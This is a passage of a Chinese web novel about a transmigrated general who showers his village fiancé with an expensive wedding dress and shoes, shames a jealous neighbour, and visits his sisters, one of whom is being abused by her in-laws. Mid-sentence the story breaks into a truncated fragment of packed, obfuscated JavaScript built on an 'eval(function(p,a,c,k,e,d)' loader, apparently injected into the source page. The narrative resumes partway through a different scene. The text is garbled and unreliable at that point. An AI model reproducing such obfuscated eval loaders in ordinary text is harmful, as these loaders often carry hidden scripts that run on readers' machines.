能往家拿钱,不出去乱搞的,就是好男人了。还有多少男人不但赚了钱不往家拿,不给妻儿用,自己花天酒地,甚至回来还要打妻儿。更有甚者,连妻子绣花给自己和孩子赚的那点口粮钱都要抢走,继续败光。 邴温故这种类型的男人,南锦屏在村子里从未见过,一时之间,竟然隐隐有些期待未来和他在一起的日子了。 “锦哥儿,我想盖七间大瓦房,想待你嫁进来可以有间像样的房子给你住,有单独的房间,不用跟别人挤在一个屋子里。” 南锦屏狠狠点头,很用力,很用力。不是他对七间大瓦房有多期待,而是他看到了邴温故对他的用心。 这份用心让南锦屏期待着他跟他在一起以后的共同经营的日子。 当然在南锦屏知道邴温故的全部身家后,虽然还有些心疼买鞋子和嫁衣的银子,但总归没那么心疼了。 其实抛开一切,就南锦屏本身而言,他特别喜欢这件嫁衣。从刚才到现在,他的眼睛就没离开过嫁衣。 南锦屏情不自禁伸手想要摸摸嫁衣,这样的衣服合该天上的仙子才能穿吧。 当南锦屏的手指才刚刚摸上嫁衣,竟然一下就把那丝绸勾抽丝了。 南锦屏就像是突然被烫到一样缩回手,看向邴温故的眼神带上闯祸后的怯。 “我,我不是故意的,我就是想摸一下,没想到它就刮抽丝了。”南锦屏看着自己粗糙宽大的手上布满的茧子和伤疤,完全没有小娘子那般细腻莹白的肤质,羞赧的低下头,满脸通红,“对不起,都是我的手太粗糙了。” 邴温故的心脏猛烈的收缩一下,致使他的心脏那样的疼。 他恨不能立刻把面前这个小人抱进自己怀中,收拢到自己的羽翼之下,每日安心享受生活就好。 从此以后无论是狂风暴雨,还是电闪雷鸣,都不用再担心,只需要把这一切都当成一场自然景象,泡一壶茶水,品茗的同时悠闲观赏就好。 邴温故温声道:“你不用道歉,因为这本来就是你的东西。不要说只是刮抽丝了,就是你不开心,拿剪子绞了,那也是全凭你愿意。你无需和任何人道歉。” 南锦屏看了邴温故一眼,那表情好像是在看一个疯子,似乎在说,这么好的东西,谁会不高兴就绞了它,又不是疯了。 邴温故把东西递给南锦屏,“你收着,若是不喜欢就和我说,我再去府城买新的。” 南锦屏下意识接过来。 “这两匹绢布,你回去做两身平常穿的衣裳。”大庸汉子穿的都是长衫,小哥儿同汉子穿着款式相近,这么一匹布料,正好够做一身(里外)衣裳。 南锦屏真心喜欢,特别特别喜欢,记忆中长这么大小他就没穿过新衣裳,都是大人们穿过的旧衣裳改制。 他也被邴温故说动摇了,这一辈子,就这一次的喜事,他也想不留遗憾。 以后日子就算苦些,有成亲那日的甜,苦也带了甜滋味。 南锦屏想自己这辈子就自私这一次,留下这些东西,以后他一定节俭度日,绝不铺张浪费。 “其,其实我也准备了礼物送给你。只是我自己做的礼物,在你送我的礼物面前好像一文不值。”搞的南锦屏都不好意思拿出来了,可这毕竟是他绣了好久不知道挨扎多少针才绣出来的。 “你也给我准备了礼物,我们还真是心有灵犀。”邴温故在星际什么好东西没见过,外人而言的稀世珍宝在他的庄园里不过是随处可见的一个摆件罢了。“我在意的不过是你的心意,你亲手绣的,那就抵得过万千珠宝。” 南锦屏把他自己亲手一针一线绣的荷包从袖口掏出来。 邴温故美呀,他终于有一日也能用上夫郎亲手做的荷包了。这一刻他无比怀念自己的智脑,真想把小夫郎亲手给自己绣的荷包发到社交媒体上,让全世界都来看看。 再叫他那些下属得瑟,不过就是伴侣给买个衣服手表啥的就沾沾自喜,也不看看,他们那都是买的成品,有啥可炫耀的,他这可是小夫郎一针一线亲手缝制的,这才是对他的一片真心。 邴温故吐槽别人的时候,也不看看自己那副不值钱的样子,比谁都洋洋得意。 邴温故翻来覆去地看着南锦屏亲手给他绣的荷包,越看越喜欢,越看越爱不释手。 “锦哥儿,你绣的鸳鸯戏水真好看。”邴温故美滋滋。 “……”南锦屏 “我绣的是比翼鸟。” “啊?比翼鸟啊。”邴温故尴尬,他真没看出南锦屏绣的是什么,要他肉眼看,最像野鸭子。 但是邴温故知道以他俩如今的关系,南锦屏绝对不会无缘无故给他绣野鸭子戏水。就琢磨着应该是鸳鸯,这个时代的人,尤其喜欢在成亲用品上绣鸳鸯,这不寓意好嘛。 邴温故这才说的鸳鸯,本来还觉得自己挺机敏,跟他手底下那群愣头愣脑的呆头鹅完全不一样,等小夫郎夸奖呢。 结果…… 有些时候确实不能怪他手底下那群兵不解风情,伴侣的心思真难猜。 邴温故首战告败。 “比翼鸟啊,这比翼鸟真漂亮!在天愿作比翼鸟,在地愿为连理枝。我就喜欢比翼鸟,寓意好。”邴温故若是说到这里就不讲了挺好的,偏偏又加了一句,“比翼鸟戏水,很新颖的绣法。” “……”南锦屏。 “你拿反了,我绣的是在天愿作比翼鸟。那是天空的蓝,不是河水的蓝。” 又翻车了。 邴温故恨不能给自己一嘴巴子,言多必失,言多必失啊! 他发誓以后如果南锦屏再送他绣品,他除了好看漂亮,再不多夸一个字。 “漂,漂亮,好看。”邴温故尬笑,“那啥,东西挺沉的,我帮你拿回去吧。” 26.给他的小夫郎找场子去 “好。”南锦屏答应着。 邴温故把南锦屏怀里的东西都抱进自己怀里,和南锦屏一起并排往南家的方向走。 钱氏悄悄在后面跟着。 她一早就听到动静了,没敢出来。结果,邴温故竟然把带回来的那些好东西都给南锦屏了,她可不得跟上去看看。 邴温故早就发现钱氏了,没管她。 李氏不是嫉妒南锦屏吗?甚至敢到他夫郎面前胡言乱语,看来嫉妒得还不够啊,他就帮她在添一把火,让这股嫉妒之火烧的更旺一些,烧到烈火烹油,五脏俱焚。 邴温故深如浓墨的眸子闪着危险的光芒。 邴温故和南锦屏二人有说有笑,邴温故的上臂时不时碰到南锦屏的肩膀,撞的不疼不说,还会无端端的生出一股不可意会的暧昧。 俩人如今是未婚夫夫,即便走在一起也不会引人过多注意。但是现在邴温故怀里可抱着一大堆东西呢,村里人就算看不到包袱里的珍珠鞋和嫁衣,但是那两匹绢布却能看的清清楚楚。 “邴大郎,你不是已经给南家过完彩礼了吗?听南家那边说,是一只价值二三两银子的袍子,这绢布又是咋回事?难不成南家又加彩礼了?”村里人看见,就停下来问道。 在村里给人彩礼都是一笔过的,毕竟彩礼对于村人而言,数额巨大,之后没有补的。就算定亲后的未婚夫夫感情好,至多就彼此赠送一些不值钱的,自己亲手做的小玩意。没有再送‘大件’的了,毕竟大件意味着价格昂贵,有买‘大件’的钱,都够再给家里一个儿子说亲的了。 邴家那么穷,已经给南锦屏过过一次彩礼了,聘礼银子还不少,咋可能还追加,有那银子都够给邴四郎说亲的了。邴四郎也到了说亲的年纪,之所以一直没有说亲,不过还是因为邴家太穷,没那个钱。 所以村里人看见邴温故抱着两匹绢布跟南锦屏走在一起,还是往南家的方向去,才会有此一问。皆以为,南家这是看邴温故发达了,坐地起价,又追要了一笔彩礼。 “没有的事情,南家叔婶人都好,怎么会干那种事。”往常对于村人,不管原主还是邴温故而言,都是不理会的。 只不过原主是躲着,或者干脆窝在家里不出来。邴温故则是昂首挺胸,爱谁谁,老子就不搭理你们。 可这一次邴温故一反常态,带着南锦屏停下站住,同村人攀谈起来。 “都是我的主意。这不之前给锦哥儿的彩礼太寒酸了,就那么点银子。现在我手上终于有了银子,就捉摸着给锦哥儿再补贴些聘礼。”邴温故口气狂妄,村人听的乍舌。 “价值三两银子的狍子还寒酸?咱们村子里的小娘子也没有这个价的。邴大郎,你这真是有钱了,说话口气都大了。” 邴温故则是道:“哪里呀,实在是锦哥儿太好,我出的这点聘礼哪配得上锦哥儿的身价。” 邴温故说完,不给村里人反驳的机会,立刻就道:“正好你们帮我看看,我买的这些东西怎么样?这绢布,是我在府城买的,这一匹就要一贯二百五十文钱。” “你真舍得,咱们农村人整天干活,买这么好的料子都没地穿。”一个村人酸溜溜说道。 邴温故这般招摇,很快就吸引过来更多的村人,他余光中看见李氏和王氏联袂走来。 邴温故眸光发暗,唇角的笑容愈发灿烂,“这才几个钱,我还给夫郎买了珍珠鞋,一双一贯。那个嫁衣就更贵了,要十两呢。” 邴温故把包袱打开一角,只给村人看到一点点,然后就迅速把包袱包裹起来,“给你们看看得了,可别给摸啊。卖货的伙计说了,这些东西金贵,做惯粗活的手,可不能摸,会给勾抽丝的。” 邴温故故意说的很大声,让李氏和王氏都能听的清清楚楚。 周围传来村里人倒抽一口冷气的声音,“再加上之前的狍子,这不就十六七两的聘礼了!” “天啊,咱们这十里八村的再没有谁家双儿有这个聘礼了。” “别说双儿,就是小娘子也没这个价的。” “这都够我家五个小子所有的聘礼了。” “要是我家小娘子也能有这个数的聘礼就好了。” “我还寻思锦哥儿都得倒贴银子才能嫁出去呢,没想到娶他竟然需要这么多银子。” “对了,我记得之前李家二娘子退了邴家的亲事,自卖自身给一个老头子做妾,好像才卖了十五两银子吧。” “对呀,那会儿李氏还吹嘘来着,好像十五两银子有多多似的。” “你说李二娘子和李氏折腾啥,这要是老老实实嫁给邴大郎,那聘礼银子都有十七两,不比她卖身强。” “没福气呗。” 李氏听着这些议论声,破防了。 她直觉气血翻涌,猛地大吼一声,“邴大郎撒谎,他根本就是借的高利贷,你们等着看吧,早晚有一天高利贷找上门,他会卖了南家小哥儿,到时候你们就知道我女儿的选择有多正确了!” 村里人都是知道李氏不过不甘心罢了,根本没人把她说的话当回事。 “你才是胡说八道,你等着看吧,日后你就知道大郎有多好了。”南锦屏瞪了李氏一眼。 被南锦屏维护,邴温故美滋滋。至于李氏,不过一个跳梁小丑罢了,她煎熬的日子才刚刚开始罢了。 还有村里人,他会让他们都睁大眼睛好好看着,南锦屏怎么一步一步成为他们这辈子都逾越不过去的高山。 他们不是瞧不起南锦屏吗?那就让他的小夫郎成为他们高攀不上的人。 他们不是嫌弃南锦屏晦气吗?那就让他的小夫郎成为他们羡慕的人,恨不能以身替之,但却永远也无数取代! 苗氏就站在人群后面,把邴温故和村人的对话听的一清二楚,她一时间都不知道自己心头是啥滋味。 “阿娘。”南锦屏看见苗氏,才开始心虚起来。 苗氏瞥了一眼南锦屏,接过邴温故怀中的包裹掉头就往家走。 邴温故依旧执着的把南锦屏送到他家门口,他不想跟自己的小夫郎分开,还想抱抱贴贴,可是都不行。 他只能道:“锦哥儿,你亲手把荷包给我戴上吧。” 南锦屏看了邴温故一眼,“你不嫌弃?” “不,你亲手绣的,我喜欢还来不及,怎么会嫌弃。” 南锦屏接过荷包亲手给邴温故戴在腰上,系荷包带子的时候不小心碰到手上的伤,疼得吸了口气。 “怎么了?”邴温故着急的一把抓住南锦屏的手查看,然后就看到了南锦屏手指头上那些大大小小的针眼。 “这都是你绣荷包扎的?” “嗯。”南锦屏不好意思地往回缩,“我是不是笨手笨脚的,不过你放心,我会认真学的,绝对不会让你成亲后还穿这么烂的针脚做成的衣服。” “你喜欢吗?”邴温故没有因为南锦屏的懂事而高兴,反而皱着眉问道:“你喜欢刺绣吗?” 南锦屏没想到邴温故会这么问,也挺不解,不过还是如实的摇了摇头,“不喜欢。而且我好像在刺绣上没什么天分,总是做不好,别的活我仿佛天生就会,唯独针线活,每次做,手指头都要被扎烂了。” “不喜欢就不要再学了。” 如果南锦屏喜欢,这是他的爱好,邴温故不会说什么。每个一技之长背后都是无数的汗水和辛苦,没有谁的优秀是无缘无故就有的。 包括他自己能成为将军,也付出了常人无法想象的血泪。 梦想说起来不过轻飘飘的两个字,可是追求梦想的代价却重如泰山。 但现在南锦屏不喜欢,那邴温故就绝对不同意南锦屏继续学习了,“我可以学,大不了以后家里的针线活都由我来做。” 南锦屏呆呆地看着邴温故,完全没想到邴温故会这么说。 而且不知道为什么刚才还心情很好的邴温故现在似乎很不开心,他直觉是因为他学习刺绣。 可是为什么呢? 南锦屏不明白。 苗氏距离远,听不到两人的谈话,就以为二人在那恋恋不舍呢。 苗氏没忍住,在门里重重咳嗽一声,南锦屏回神,然后如受惊的兔子跳了回去。 回到家中,苗氏重重哼了一声,“这么贵重的礼物你也敢收。” “邴大郎说退不了了,我才收的。” “退不了,还能拿到镇上当了换银子。” “阿娘,你别训锦哥儿了。”顾氏已经知道前因后果,笑眯眯道:“相反,娘应该高兴,这说明邴大郎在乎咱们锦哥儿。” “也好,就收了吧。”南父是男人,他站在男人的角度道:“邴大郎在锦哥儿身上花费的代价越大,以后才越舍不得轻易舍弃,这也算是对锦哥儿一种变相的保护了。” “邴大郎买了这么多东西,还招摇过市,就能看出他是个挺在意面子的人。阿娘,你若是逼着锦哥儿退回去,到时候惹了村里议论,岂不是打了邴大郎的脸。”南大哥跟着劝道。 “大不了到时候都给锦哥带回去,假如哪天邴家用银,那会儿再当不迟。”南二郎亦道。 苗氏看了眼南锦屏重重叹口气,“这次就算了,已经在村里人跟前显摆了,就不能再让邴大郎丢脸了。但是以后你嫁到邴家,可不能这样败家。就算邴大郎有什么败家的想法,你也要好好规劝。” “知道了,娘。”南锦屏虽然被训,但是他的心里却开心极了。 “锦哥儿,给我看看你的嫁衣和珍珠鞋呗,我还没见过十两的嫁衣,一贯的珍珠鞋长什么样呢。”顾氏挤过来道。 “锦哥哥,我也要看,以后我也要夫君给我买这么贵的嫁衣。”南小妹嚷着。 “小娘子,你给我闭嘴。你出去打听打听,咱们这十里八村也就出了邴大郎这么一个败家玩意。剩下谁家汉子娶亲肯出这么多聘礼,照这个聘礼银子找,这辈子你别想嫁出去!” 南小妹冲苗氏做鬼脸,苗氏没搭理她,对南锦屏道:“行了,你把那两匹绢布放在我这吧,我给你和邴大哥各做一身新衣服。你那个针线,就别糟蹋这好东西了。” 邴温故这头跟南锦屏算是彻底定下来,可是因为之前他一直不在家,还没正式通知亲朋好友,就打算趁这几日空闲带着梁氏去各家拜访一下。 说起来,真正需要邴温故亲自拜访的没几家。就邴大娘子和邴二娘子两家。 至于邴家其他亲戚,村里没有的。邴父跟梁氏不是本村人,当时他们家乡闹灾荒,两人跟着家里人一起逃荒出来,不想路上走散了。最后二人落脚在上河村,这也是邴家之所以成为村里最穷的人家的原因之一。 邴温故若要拜访两个姐姐家,就不好空手,拜托梁氏去了镇上买了一些羊肉。 梁氏拎着肉从外面走进来,抱怨道:“羊肉可真贵,一斤就要三十四文钱,能买二斤多猪肉了。除了那些达官贵人,谁能吃得起。” 宋朝人喜食羊肉,内地畜牧业不丰,这就导致羊肉价格居高不下,普通百姓吃不起。 猪肉倒是便宜,但是有一股子怪味,大家都不爱吃。 有诗人曾言,黄州好猪肉,价贱如泥土。贵者不肯吃,贫者不解煮。 豕就是猪,由此可见,猪肉便宜是真,没人喜欢吃也是真。 邴温故放下书,“娘,既然肉买回来了,咱们现在就去吧,省得等会儿再撞上姐姐们家饭口。” “你大姐那个刻薄婆婆,便是撞上饭口也不会留饭,你二姐家倒是会。”虽然这么说着,梁氏还是拿起羊肉,往外走。 邴二娘家就住在隔壁村子,两个村子离得近,邴温故和梁氏二人就先去了她家。 邴二娘婆家姓冯。此时家中就只有邴二娘婆母姜氏在家。 姜氏对这个三儿媳妇动不动就往娘家倒腾东西的做法很不满意,但还算顾大面。 姜氏笑道:“亲家母和大侄子来了,快进来坐。” “婶子,二姐呢?”邴温故边往里走,边道。 “去山上挖野菜了。”姜氏回答,“这都入秋了,眼看着就要冬天了,家里寻思着多挖些野菜存着。” 邴温故点头,把背在身上的柳筐放下,拿出一条羊肉。 “婶子,我和娘来,也没带什么好东西,就拿了一条羊肉过来,您别嫌弃。”邴温故客气道。 姜氏眼睛都看直了,半晌才缓过神,然后眉开眼笑道:“咱都是实在亲戚,拿这么贵的东西干啥,我这不能要,你快快拿回去。” 姜氏虚虚推拒一番,欣喜收下。 “哎呀,你们看我这记性,这都说了好一会儿话了,才想起来,小六,你快去山上把你三婶喊回来,就说她娘和大弟来看她了。”姜氏对院子里几个正在玩泥巴的小孩喊道。 梁氏按住姜氏,“不用了,我们这就走,还要去我家大娘那里一趟。” 姜氏的眼睛在梁氏和邴温故上扫了扫,笑道:“嫂子家里这是好事将近了?” “你听说了?”梁氏笑着道:“我家大郎马上就要成亲了,日子就定在这月25号,到时候你们全家可都要来吃喜酒。” “一定,一定。”姜氏笑着回答。 稍晚一些的时候,邴二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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邴温故这才从小女孩的话中认出这是大姐家的大女儿,小孩穿的破破烂烂,鞋上有洞,衣服也是补丁罗补丁,看着比邴家的孩子还落魄几分。 可邴家过的什么日子?那外头正正经经欠了20两银,家中吃了上顿没下顿。 孙家日子虽然不富裕,但是比邴家可强多了,也就是这村中的一般人家,家里孩子就算穿的破一些,也不至于破烂到这种地步。 邴温故微微皱了皱眉头,没说什么,抬步走进院子。 院中邴大娘已听到动静,快步走出来,看见邴大娘和梁氏,邴大娘立刻就着急的问道:“娘和大郎怎么来了?可是家中出了什么事儿?” 邴大娘虽然临盆在即,不怎么出去走动,可是关于邴家借高利贷的谣言还是听到了,这大概就是好事不出门坏事传千里。 所以看见娘家人的第一反应就是娘家是不是过来借银,才有此一问。 邴大郎看着站在院中神情焦急的邴大娘,她身上的衣服没有比孩子好多少,整个人瘦骨嶙峋,只有一个大肚子鼓鼓的挺着,一双大眼睛因为过分消瘦看着更加大了,不但不好看,反而有几分吓人。 邴大郎道:“家里无事发生,只就是我就要成亲了,过来告诉你一声。” 梁氏也忙安慰女儿道:“家中一切安好。前几日你大弟帮了贵人,贵人给了一些谢仪,现在家中的日子已经好过了。大娘,你以后莫要再担心家里。” 梁氏看着邴大娘的肚子,“你也快要生了吧?挺着个大肚子就不要出来了,快快进屋去。咱们娘俩有什么话坐着说。” 邴温故同梁氏进了邴大娘的屋子,三人说了一会儿话,邴大郎看了眼外头的天色,道:“大姊,我们这就回了,一会儿天该黑了。今个过来给你带了一条羊肉,晚上你让你婆婆做了,给你补补身子。” 邴大娘不肯要,家中日子也才好,家里人都缺油水。 “大郎,你快拿回去吃” 邴温故道:“往日家中多亏了两位姊姊接济,现在日子好了哦,就这么一点子东西,大姊就不要推拒了。” 话说到这份上,邴大娘这才收下。 梁氏又道:“你大弟婚宴,你要是赶上坐月子,就不要回来了。叫孙二郎来也是一样的,我们不会挑你理的。” 送走了梁氏和邴温故,邴大娘转身就看到从里屋走出来的孙氏。 孙氏拉拉着个脸,比驴都长,喝斥道:“都说了,不要跟你娘家往来,你非要往来,你娘家人干什么来了?是不是要借银?” 孙氏也不给邴大娘解释的机会,噼里啪啦就一通抢白,“我跟你说,你娘家想借银子门都没有,那高利贷就是一个无底洞。” 邴大娘委屈道:“娘,我娘家没有想借银,更没有借高利贷。是大郎要成亲了,过来通知我一声,还给我送了一条羊肉过来。” 邴大娘进屋把羊肉拿出来递给孙氏,孙氏脸上不见笑模样,一把抢下羊肉,冷哼一声道:“我就知道邴家是个只进不出的,这不送了一点子肉过来,就要咱们去随礼。” 邴大娘想说羊肉那么贵,娘家这次拿的足足有五斤,可不是一点子,但是碍于孙氏平日里非打即骂,邴大娘并不敢辩驳,低着头回屋了。 孙氏还不满意,骂道:“别以为怀个孕有多了不起,谁还不会怀孕似的,天天在屋躺着也不怕生不下来,赶紧出来干活。” 邴大娘不敢反驳,立刻就出来干活了。 孙氏看着在院中乖觉干活的邴大娘还不满意,继续骂道:“当初就不应该娶你,一家子穷酸破落户,还净生赔钱货,这胎要还是赔钱货,你看我怎么整治你。” 邴大娘已经接连生了两个闺女了,孙氏是个重男轻女的,一直就看不上邴大娘,对两个孙女也不好,平日里对母女三人非打即骂。 就连从前对邴大娘子还算有耐心的孙二郎,在邴大娘接连生了两个女儿后也没了好脸色,心情不好的时候还会动手打母女三人。 邴大娘都不敢想如果自己这胎再生一个闺女,以后的日子该怎么过,怕是地狱也不过如此。 邴大郎以为再见到邴大娘,该是在她生产的时候,或者出了月子后,没想到第二日就见到了。 那时邴家人还在睡梦中,邴温故就早早起来读书。他刚拿起书本看了一小会儿,就听到门口隐隐约约传来几声声响,声音很轻微,似乎是女子的说话声。 也就邴温故精神力强悍,换成邴家其他人,根本就听不到这动静。 邴温故觉得声音有些耳熟,放下书出门查看。 大门刚一打开,倚在门板上的母女四人就滚了进来。 邴温故定睛一看,竟是昨日里才见过的邴大娘子。 现在的邴大娘子高挺的肚子没了,怀里却多了一个破旧的包裹。 邴大娘看见邴温故眼泪就止不住的落了下来,喊了一声大郎。 旁边的两个小姑娘跟着大声喊道:“大舅舅,救救阿娘和双儿弟弟吧!”